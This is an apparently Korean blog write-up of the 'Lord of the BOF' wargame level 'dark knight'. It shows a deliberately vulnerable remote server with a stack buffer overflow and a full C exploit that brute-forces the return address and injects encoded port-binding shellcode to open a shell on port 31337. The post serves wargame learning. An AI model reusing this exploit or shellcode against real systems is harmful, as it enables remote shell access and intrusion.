2011. 6. 18. 14:18

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- dark knight

- remote BOF

*/

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

   

int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;

   

if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}

   

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);

   

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}

   

if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}

   

while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}

   

if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}

   

close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}


♧ Remote BOF 문제이다. 단순 brute force 공격으로 문제를 해결 합니다.
원격 프로그램을 공격할 때는 지금까지의 쉘코드가 동작하지 않는다.
♧ 해당 http://www.exploit-db.com/exploits/13910/ 사이트에서 포트 바인딩 쉘코드를 다운받고

익스플로잇을 작성 합니다.
삽입된 쉘코드는 연결된 네트워크 포트로 쉘을 바인딩하고 31337번 포트를 바인딩 하고 TCP연결을 기다립니다.


   

   

[ 익스플로잇 작성 ]

[dumpcode.h]

/******************************

* RAW 메모리를 16진수로 덤프

*******************************/

void dump(const unsigned char *data_buffer, const unsigned int length) {

unsigned char byte;

unsigned int i, j;

   

for(i=0; i < length; i++) {

byte = data_buffer[i];

if (i%16 == 0)

printf("%08x: ", (unsigned int)&data_buffer[i]);

printf("%02x ", byte); // display byte in hex

   

if(((i%16)==15) || (i==length-1)) {

for(j=0; j < 15-(i%16); j++)

printf(" ");

printf(" | ");

for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line

byte = data_buffer[j];

if((byte > 31) && (byte < 127)) // outside printable char range

printf("%c", byte);

else

printf(".");

}

printf("\n"); // end of the dump line (each line 16 bytes)

} // end if

} // end for

}


   

[exploit.c]

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include "dumpcode.h"

   

#define SA struct sockaddr

#define BUFSIZE 256

#define OFFSET 44

char bindport[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

#define BINDPORT 31337

   

   

int main (int argc, char *argv[])

{

int sockfd;

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];

unsigned int retaddr = 0xbffffff0;

char cmd[100];

   

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

   

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);

   

while (1) {

   

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

perror ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));

target_addr.sin_addr.s_addr = inet_addr(argv[1]);

   

if (connect (sockfd, (SA*)&target_addr, sizeof(target_addr)) == -1) {

perror ("connect error");

close(sockfd);

continue;

}

retaddr -= 10;

memset(buffer, '\x90', sizeof(buffer));

memcpy(buffer+OFFSET, &retaddr, 4);

memcpy(buffer+100, bindport, strlen(bindport));

puts("_____ Exploit Buffer:");

dump(buffer, strlen(buffer));

send(sockfd, buffer, strlen(buffer), 0);

system(cmd);

close(sockfd);

}

   

return 0;

}


   

[ 결과 화면 ]

[xavius@localhost xavius]$ gcc -W -Wall exploit.c -o exploit

[xavius@localhost xavius]$ ./exploit 192.168.0.100 6666

성공!!!


   

   

Posted by devanix